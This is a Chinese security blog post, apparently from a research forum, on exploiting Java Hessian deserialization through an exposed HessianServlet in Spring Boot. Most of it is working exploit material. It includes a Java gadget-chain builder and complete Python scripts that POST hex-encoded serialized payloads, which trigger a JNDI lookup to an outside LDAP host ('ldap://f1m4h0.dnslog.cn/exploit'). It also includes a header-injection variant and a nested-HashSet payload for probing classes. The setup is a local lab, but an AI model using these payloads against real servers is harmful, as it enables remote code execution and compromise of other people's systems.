HessianServlet的实战化探究
1379560614886804 发表于 北京 WEB安全 559浏览 · 2024-08-26 04:25

前言

平常见得多的一般是 HessianInput.readObject作为sink,最近碰到了一个HessianServlet,代码大概是这样:

HessianServlet hessianServlet = new HessianServlet();
hessianServlet.setHomeAPI(IUserService.class);
hessianServlet.setHome(new UserServiceImpl());

然后在一个servlet里:hessianServlet.service(request, response);
在这种情况下,和常规的hessian反序列化有些许区别

环境搭建

springboot 2.7.6, hessian 4.0.60, java8u66
springboot环境用springInitializer插件生成

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.60</version>
</dependency>

IUserService.java

package org.example;

public interface IUserService {
    String getUserById(Object userId);
}

UserServiceImpl.java

package org.example;

public class UserServiceImpl implements IUserService {
    @Override
    public String getUserById(Object userId) {
        return "User: " + userId;
    }
}

HessianConfig.java

package org.example;

import com.caucho.hessian.server.HessianServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class HessianConfig {

    @Bean
    public ServletRegistrationBean<HessianServlet> hessianServlet() {
        HessianServlet hessianServlet = new HessianServlet();
        hessianServlet.setHomeAPI(IUserService.class);
        hessianServlet.setHome(new UserServiceImpl());

        ServletRegistrationBean<HessianServlet> bean = new ServletRegistrationBean<>(hessianServlet, "/hessian");
        bean.setLoadOnStartup(1);
        return bean;
    }
}

使用Demo

SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);

        HessianProxyFactory factory = new HessianProxyFactory();
        factory.setOverloadEnabled(true);
        factory.setSerializerFactory(serializerFactory);
        IUserService userService = (IUserService) factory.create(IUserService.class, "http://localhost:8080/hessian");
        userService.getUserById("abc");

漏洞分析

HessianServlet#service

HessianServlet#invoke

正常走会来到第二个invoke

HessianSkeleton#invoke

这里做了协议区分。然后到下面那个invoke

如图,此处有readObject,也是这篇文章的分析:
https://xz.aliyun.com/t/7028
但是原作者github没了,我也找不到他的脚本了,所以只能手搓下。

因为按demo来没法直接writeHeader,我第一眼相中的是下面的那个,对远程调用方法的参数进行readObject

利用链参考https://xz.aliyun.com/t/13599:

public static void main(String[] args) throws Exception {

        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);

        HessianProxyFactory factory = new HessianProxyFactory();
        factory.setOverloadEnabled(true);
        factory.setSerializerFactory(serializerFactory);
        IUserService userService = (IUserService) factory.create(IUserService.class, "http://localhost:8080/hessian");

        String url = "ldap://127.0.0.1:1389/rtj7ss";

        // 创建SimpleJndiBeanFactory
        // String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
        // Object simpleJndiBeanFactory = Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

        // 可添加
        // HashSet<String> set = new HashSet<>();
        // set.add(url);
        // setFiled(simpleJndiBeanFactory, "shareableResources", set);
        // setFiled(simpleJndiBeanFactory.getJndiTemplate(), "logger", new NoOpLog());

        // 创建BeanFactoryAspectInstanceFactory
        // 触发SimpleJndiBeanFactory的getType方法
        AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
        setFiled(beanFactoryAspectInstanceFactory, "name", url);

        // 创建AspectJAroundAdvice
        // 触发BeanFactoryAspectInstanceFactory的getOrder方法
        AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
        setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

        // 创建AspectJPointcutAdvisor
        // 触发AspectJAroundAdvice的getOrder方法
        AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
        setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

        // 创建PartiallyComparableAdvisorHolder
        // 触发AspectJPointcutAdvisor的getOrder方法
        String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
        Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
        Object partially = createWithoutConstructor(aClass);
        setFiled(partially, "advisor", aspectJPointcutAdvisor);

        // 可以不使用HotSwappableTargetSource
        // 创建HotSwappableTargetSource
        // 触发PartiallyComparableAdvisorHolder的toString方法
        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "111");
        hashMap.put(targetSource2, "222");
        String id = userService.getUserById(hashMap);
        System.out.println(id);
    }

然后wireshark抓包

这里我注意到调用的这个方法,后面跟了个Object,难道对参数有限制吗?

在getMethod的时候,可以看到就加不加都可以,可以直接去掉。
所以可得python脚本:

import socket

def send_serialized_data(host, port, serialized_data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))

        http_request = (
            "POST /hessian HTTP/1.1\r\n"
            "Content-Type: x-application/hessian\r\n"
            "Accept-Encoding: deflate\r\n"
            "User-Agent: Java/1.8.0_66\r\n"
            f"Host: {host}:{port}\r\n"
            "Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
            "Connection: keep-alive\r\n"
            f"Content-Length: {len(serialized_data)}\r\n"
            "\r\n"
        )

        full_request = http_request.encode() + serialized_data

        s.sendall(full_request)

        response = s.recv(4096)
        print(response.decode())

method_name = 'yourMethodName'
ldap_address = 'ldap://f1m4h0.dnslog.cn/exploit'
ldap_length = len(ldap_address)  


method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]


serialized_data = (
    '6302006d00' + '{:02x}'.format(len(method_name)) + 
    method_name_hex + '4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' + ldap_length_hex + ldap_address_hex +
    '53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744e7a7a5300033232327a7a'
)

serialized_data = bytes.fromhex(serialized_data)


host = 'localhost'
port = 8080
send_serialized_data(host, port, serialized_data)

这里的getUserById参数啥类型都可以,不一定是Object。我方便本地运行抓包用的Object。

然后完事后回过头来看了下第一个,其实也没麻烦到哪去,就是多了个readHeader.

Hessian2Input不支持header的write和read,但是默认用的HessianInput,直接在之前的脚本基础上改就可以了。


这种脏活累活直接扔给chatgpt

import io


def write_header(name, output_stream):
    # 计算名称的长度
    len_name = len(name)
    output_stream.write(bytes([72]))
    # 将长度写入为两个字节的大端表示
    output_stream.write((len_name >> 8).to_bytes(1, byteorder='big'))
    output_stream.write((len_name & 0xFF).to_bytes(1, byteorder='big'))
    # 写入字符串本身
    output_stream.write(name.encode())

# 创建一个字节流来模拟输出
output_stream = io.BytesIO()


# 调用函数写入自定义的头信息
write_header("ExampleHeader", output_stream)

# 打印生成的字节流内容,查看二进制形式
print(output_stream.getvalue().hex())  # 输出结果

最后只需要改一下serialized_data部分即可:

serialized_data = (
    '630200'+'48000d4578616d706c65486561646572'+ '4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' + ldap_length_hex + ldap_address_hex +
    '53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744e7a7a5300033232327a7a'
)

验证一下:

有反应,可以打。

其他

  1. hessian-only-jdk有个链子,sink是method.invoke,应该是最好的链子了, 但是打不了,原因:
    https://flowerwind.github.io/2023/04/17/%E8%AE%B0%E6%9F%90%E6%AC%A1%E5%AE%9E%E6%88%98hessian%E4%B8%8D%E5%87%BA%E7%BD%91%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8-md/

  2. 由于hessian是从hashMap.put作为source,如果在没有回显的情况下,没法用URLDNS探测依赖。
    不过可以用其他方法:
    https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/#0x05-%E9%80%9A%E8%BF%87%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%82%B8%E5%BC%B9%E6%8E%A2%E6%B5%8Bclass

import socket

def send_serialized_data(host, port, serialized_data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))

        http_request = (
            "POST /hessian HTTP/1.1\r\n"
            "Content-Type: x-application/hessian\r\n"
            "Accept-Encoding: deflate\r\n"
            "User-Agent: Java/1.8.0_66\r\n"
            f"Host: {host}:{port}\r\n"
            "Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
            "Connection: keep-alive\r\n"
            f"Content-Length: {len(serialized_data)}\r\n"
            "\r\n"
        )

        full_request = http_request.encode() + serialized_data

        s.sendall(full_request)

        response = s.recv(4096)
        print(response.decode())


method_name = 'getUserById'
ldap_address = 'ldap://f1m4h0.dnslog.cn/exploit'
ldap_length = len(ldap_address)  

method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]

serialized_data = ('6302006d00' + '{:02x}'.format(len(method_name)) + 
    method_name_hex +'567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c000000007a567400116a6176612e7574696c2e486173685365746c000000014d74000f6a6176612e6c616e672e436c6173735300046e616d6553006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c6465727a7a7a567400116a6176612e7574696c2e486173685365746c000000035200000014520000001652000000157a7a567400116a6176612e7574696c2e486173685365746c000000035200000013520000001652000000177a7a567400116a6176612e7574696c2e486173685365746c000000035200000012520000001652000000187a7a567400116a6176612e7574696c2e486173685365746c000000035200000011520000001652000000197a7a567400116a6176612e7574696c2e486173685365746c0000000352000000105200000016520000001a7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000f5200000016520000001b7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000e5200000016520000001c7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000d5200000016520000001d7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000c5200000016520000001e7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000b5200000016520000001f7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000a520000001652000000207a7a567400116a6176612e7574696c2e486173685365746c000000035200000009520000001652000000217a7a567400116a6176612e7574696c2e486173685365746c000000035200000008520000001652000000227a7a567400116a6176612e7574696c2e486173685365746c000000035200000007520000001652000000237a7a567400116a6176612e7574696c2e486173685365746c000000035200000006520000001652000000247a7a567400116a6176612e7574696c2e486173685365746c000000035200000005520000001652000000257a7a567400116a6176612e7574696c2e486173685365746c000000035200000004520000001652000000267a7a567400116a6176612e7574696c2e486173685365746c000000035200000003520000001652000000277a7a567400116a6176612e7574696c2e486173685365746c000000035200000002520000001652000000287a7a7a')

serialized_data = bytes.fromhex(serialized_data)

host = 'localhost'
port = 8080
send_serialized_data(host, port, serialized_data)

我电脑性能不行,这里以套了20层作为示例。

总结:
原理不难,主要体验了一把手搓协议,对协议洞的理解更进了一步

0 条评论
某人
表情
可输入 255
目录